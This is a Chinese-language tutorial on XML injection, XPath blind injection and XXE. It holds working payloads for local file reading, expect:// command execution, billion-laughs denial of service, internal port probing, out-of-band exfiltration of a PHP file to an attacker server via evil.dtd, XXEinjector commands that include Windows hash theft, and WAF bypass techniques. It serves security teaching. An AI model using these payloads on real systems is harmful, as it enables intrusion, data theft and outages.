XML注入XXE
XML
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据,而不是显示数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。XML不会做任何事情。XML被设计用来结构化、存储以及传输信息。XML语言没有预定义的标签。 目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。 XML和HTML之间的差异
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息,而 XML 旨在传输信息。
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式
XML的基本使用
- XML声明
XML 文档应该以一个 XML 声明开始,它定义了 XML 版本和字符编码
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
这个声明是可选的,用于声明XML文档的版本和编码,但如果使用,它必须是文档的第一行,standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项
- 根元素
XML 文档必须有一个根元素,它包含所有其他元素
<root>
<!-- 内容 -->
</root>
- 元素
- 元素由开始标签、内容和结束标签组成
- 元素可以嵌套,但不能交叉
- 元素名称大小写敏感
- 元素可以具有属性,用于提供元素的额外信息
<element attribute="value">内容</element>
- 属性
- 属性必须出现在开始标签中
- 属性值必须用引号(单引号或双引号)括起来。
<element attribute="value">内容</element>
- 注释
注释以 <!-- 开始,以 --> 结束,它们可以跨越多行,但不能包含 -- 字符序列
<!-- 这是一个注释 -->
-
实体引用
XML 中有一些预定义的实体引用,用于表示不能直接使用的字符
<代表<>代表>&代表&&apos代表'"代表"
-
CDATA
CDATA 区段用于包含不需要解析器解析的文本块
<![CDATA[ 这里可以包含 <xml> 标签和 & 符号,它们不会被解析 ]]>
-
DTD
DTD(文档类型定义)是一种在 XML 文档中定义元素、属性列表、实体和符号的规范。它用于验证 XML 文档的结构
-
内部DTD
可以在 XML 文档内部定义 DTD,这样 DTD 就成为文档的一部分
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> -
外部DTD
也可以将 DTD 定义在一个外部文件中,并在 XML 文档中引用它
创建一个名为
note.dtd的外部DTD文件<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>在XML文档中引用这个外部DTD
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> -
DTD 基本语法
元素声明
<!ELEMENT element-name category>:定义一个元素(#PCDATA):表示元素内容是解析字符数EMPTY:表示元素不能包含任何内容ANY:表示元素可以包含任何内容
属性声明
-
<!ATTLIST element-name attribute-name attribute-type default-value>:定义元素的属性 -
以下是 属性类型的选项:
类型 描述 CDATA 值为字符数据 (character data) (en1|en2|..) 此值是枚举列表中的一个值 ID 值为唯一的 id IDREF 值为另外一个元素的 id IDREFS 值为其他 id 的列表 NMTOKEN 值为合法的 XML 名称 NMTOKENS 值为合法的 XML 名称的列表 ENTITY 值是一个实体 ENTITIES 值是一个实体列表 NOTATION 此值是符号的名称 xml: 值是一个预定义的 XML 值 默认属性值可使用下列值 :
值 解释 值 属性的默认值 #REQUIRED 属性值是必需的 #IMPLIED 属性不是必需的 #FIXED value 属性值是固定的
实体声明
<!ENTITY entity-name "entity-value">:定义一个实体
实体引用
&entity-name;:在文档中使用实体
-
XML注入
XML的设计宗旨是传输数据,而非显示数据。 XML注入是一种古老的技术,通过利用闭合标签改写XML文件实现的。 XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击
示例 现有test.xml文件内容
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id ="1" >
<username>admin </username >
<password>admin </password >
</admin>
<admin id ="2" >
<username>root </username>
<password>root </password>
</admin>
</manager>
XML与HTML一样,也存在注入攻击,对于上面的xml文件,如果能够掌控password字段,那么就会产生XML注入
admin </password></admin><admin id="3"><name>hack</name>
<password>hacker
最终修改结果为
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id ="1">
<username>admin </username >
<password>admin </password >
</admin>
<admin id ="2">
<username>root </username>
<password>admin </password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker </password>
</admin>
</manager>
这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。 XML注入两大要素:标签闭合和获取XML表结构
XPATH注入
XPath注入是一种攻击手段,它发生在Web应用程序使用用户输入来构建XPath查询,并且没有适当地验证或转义这些输入时。 其注入对象不是数据库users表,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookie,headers,request,parameters,input等。攻击者可以通过构造特殊的输入数据,改变XPath查询的原本意图,从而可能导致数据泄露、数据篡改或未授权访问。例如,攻击者可能会输入一些特殊字符或条件,使得XPath查询返回所有数据,或者执行原本不应该执行的查询。为了防止XPath注入,开发者需要确保对用户输入进行严格的验证,避免直接在XPath查询中插入用户输入,使用命名空间限制查询范围,不向用户显示详细的错误信息,并遵循最小权限原则来限制查询执行账户的权限
XPATH盲注
如果要遍历出整个XML文档,一般步骤如下:
盲注根节点
利用count(/*)判断根下节点:
' or count(/*) =1 or '1' = '2
有返回结果证明存在一个根节点。 利用substring分割根节点的每个字符,猜解第一级节点:
' or substring(name(/*[position()=1]),1,1)='r' or '1'='2 # 猜根节点第一个字母是不是r
' or substring(name(/*[position()=1]),2,1)='o' or '1'='2 # 猜根节点第二个字母是不是o
此处如果错误将会看不到预期结果
盲注子节点
判断root的下一级节点数:
' or count(/root/*) =1 or '1' = '2
有返回结果证明存在一个root的下一级节点。 猜解root的下一级节点:
' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='2 # 猜子节点第一个字母是不是u
' or substring(name(/root/*[position()=1]),2,1)='s' or '1'='2 # 猜子节点第二个字母是不是s
重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值
XXE
XXE漏洞是Web应用程序中处理XML数据时可能遇到的一种安全漏洞,它允许攻击者通过在XML输入中包含外部实体引用来访问服务器文件、执行远程代码或进行内网扫描等恶意操作。这种漏洞通常由于XML解析器配置不当,未能禁用外部实体的解析,导致攻击者可以利用这一点来读取敏感文件、执行系统命令或进行拒绝服务攻击。为了防止XXE攻击,开发者需要确保禁用XML解析器的外部实体解析功能,验证和清理所有XML输入,避免使用有漏洞的XML库,以及在应用程序中实施适当的安全措施来限制对系统资源的访问
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显 有回显,可以直接在页面中看到payload的执行结果或现象。 无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件
任意文件读取
首先准备一个有XXE漏洞的文件,这里以xxe1.php文件为例
<?php
$xml = simplexml_load_string ($_REQUEST ['xml' ]);
print_r ($xml ); // 注释掉该语句即为无回显的情况
?>
构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<root>
<name>&file;</name>
</root>
进行url编码
http://localhost:8081/xxe.php?xml=
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0A%3C!DOCTYPE%20xxe%20%5B%0A%3C!ELEMENT%20name%20ANY%20%3E%0A%3C!ENTITY%20file%20SYSTEM%20%22file%3A%2F%2F%2FC%3A%2F%2FWindows%2F%2Fwin.ini%22%3E%0A%5D%3E%0A%3Croot%3E%0A%20%20%20%20%3Cname%3E%26file%3B%3C%2Fname%3E%0A%3C%2Froot%3E
通过构造外部实体payload,在xml中&file;变成了外部文件C:\Windows\win.ini中内容,导致敏感信息泄露
执行系统命令
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<root>
<name>&xxe;</name>
</root>
通过XXE可以实现RCE的实例比较少,需要依赖协议
拒绝服务攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
递归引用,lol实体具体还有“lol”字符串,然后一个lol2实体引用了10次lol实体,一个lol3实体引用了10次lol2实体,此时一个lol3实体就含有102个“lol”了,以此类推,lol9实体含有108个“lol”字符串,最后再引用lol9。此测试可以在内存中将小型XML文档扩展到超过3GB而使服务器崩溃(但是大多数情况下会出现引用失败)
如果目标是unix系统
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<foo>&xxe;</foo>
如果XML解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃
探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>
<name>&xxe;</name>
</root>
端口有没有开放等待的时间和报错的内容是不同的
攻击内网网站
跟前面端口探测差不多的思路
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload">]>
<root>
<name>&xxe;</name>
</root>
XXE利用脚本
创建xxe.php文件
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
读取文件的python脚本
import urllib.request
import urllib.parse
if __name__ == '__main__':
url = "http://localhost:8081/xxe.php"
file = "file:///C://Windows//win.ini"
headers = { 'Content-type' : 'text/xml' }
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + file + '" >]><root><name>&xxe;</name></root>'
data = xml.encode('utf-8')
req = urllib.request.Request(url, data, headers)
response = urllib.request.urlopen(req)
print(response.read().decode('utf-8'))
无回显
遇到无回显,可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据。虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)。 本地部署一个evil.dtd文件: http://IP地址:端口号/evil.dtd ,内容为
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP地址:端口号?p=%file;'>">
然后加载我们的payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://http://IP地址:端口号/evil.dtd">
%remote;%int;%send;
]>
从访问日志当中读取到指定的文件
- 主要思路分析
- 先调用%remote,请求远程服务器(攻击服务器)上的
http://192.168.173.1:8000/evil.dtd - 再调用evil.dtd中的%file。%file获取受攻击的服务器上面的敏感文件,然后将%file的返回结果传到%send。
- 然后调用%send;把读取到的数据发送到远程服务器上。
- 这样就实现了外带数据的效果,解决 XXE 无回显的问题。
- 先调用%remote,请求远程服务器(攻击服务器)上的
- 优化一下payload
修改 http://192.168.173.1:8000/evil.dtd 文件为
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.173.1:8000?p=%file;'>">
对应的payload为
<!DOCTYPE test[
<!ENTITY % dtd SYSTEM "http://192.168.173.1:8000/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php"> %dtd;%payload;%send;
]>
XXE工具
XXEinjector提供了非常非常丰富的操作选项,在利用XXEinjector进行渗透测试之前,可以自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的。建议在kali环境下运行
https://github.com/enjoiz/XXEinjector
参数列表
--host //必填项 – 用于建立反向链接的 IP 地址。 (--host=192.168.0.2)
--file //必填项 - 包含有效 HTTP 请求的 XML 文件。 (--file=/tmp/req.txt)
--path //必填项 -是否需要枚举目录 – 枚举路径。 (--path=/etc)
--brute //必填项 -是否需要爆破文件 - 爆破文件的路径。 (--brute=/tmp/brute.txt)
--logger //记录输出结果。
--rhost //远程主机 IP 或域名地址。 (--rhost=192.168.0.3)
--rport //远程主机的 TCP 端口信息。 (--rport=8080)
--phpfilter //在发送消息之前使用 PHP 过滤器对目标文件进行 Base64 编码。
--netdoc //使用 netdoc 协议。 (Java).
--enumports //枚举用于反向链接的未过滤端口。 (--enumports=21,22,80,443,445)
--hashes //窃取运行当前应用程序用户的 Windows 哈希。
--expect //使用 PHP expect 扩展执行任意系统命令。 (--expect=ls)
--upload //使用 Java jar 向临时目录上传文件。 (--upload=/tmp/upload.txt)
--xslt //XSLT 注入测试。
--ssl //使用 SSL 。
--proxy //使用代理。 (--proxy=127.0.0.1:8080)
--httpport //Set 自定义 HTTP 端口。 (--httpport=80)
--ftpport //设置自定义 FTP 端口。 (--ftpport=21)
--gopherport //设置自定义 gopher 端口。 (--gopherport=70)
--jarport //设置自定义文件上传端口。 (--jarport=1337)
--xsltport //设置自定义用于 XSLT 注入测试的端口。 (--xsltport=1337)
--test //该模式可用于测试请求的有效。
--urlencode //URL 编码,默认为 URI 。
--output //爆破攻击结果输出和日志信息。 (--output=/tmp/out.txt)
--timeout //设置接收文件 /目录内容的 Timeout 。(--timeout=20)
--contimeout //设置与服务器断开连接的,防止 DoS 出现。 (--contimeout=20)
--fast //跳过枚举询问,有可能出现结果假阳性。
--verbose //显示 verbose 信息。
基本使用
- 枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
- 使用gopher(OOB方法)枚举/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
- 二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
- 使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
- 通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
- 枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
- 窃取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
- 使用Java jar上传文件
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
- 使用PHP expect执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
- 测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
- 记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
XXE绕过
编码绕过
ENTITY、SYSTEM、file被过滤 使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
额外空格绕过
XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格,从而绕过此类WAF
格式无效
比较成熟的WAF设置通常不会读取链接文件的内容。否则,WAF本身也可能成为攻击的目标。但外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中。 这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误
外来编码
除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如 )——文档的第一个字节带有可选的BOM(字节顺序标记)。 一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 BE和LE)、UTF-32(四个变体 BE、LE、2143、3412)和EBCDIC编码。 在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。 外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 utf-32BE,特别是不支持BOM

浙公网安备 33010602011771号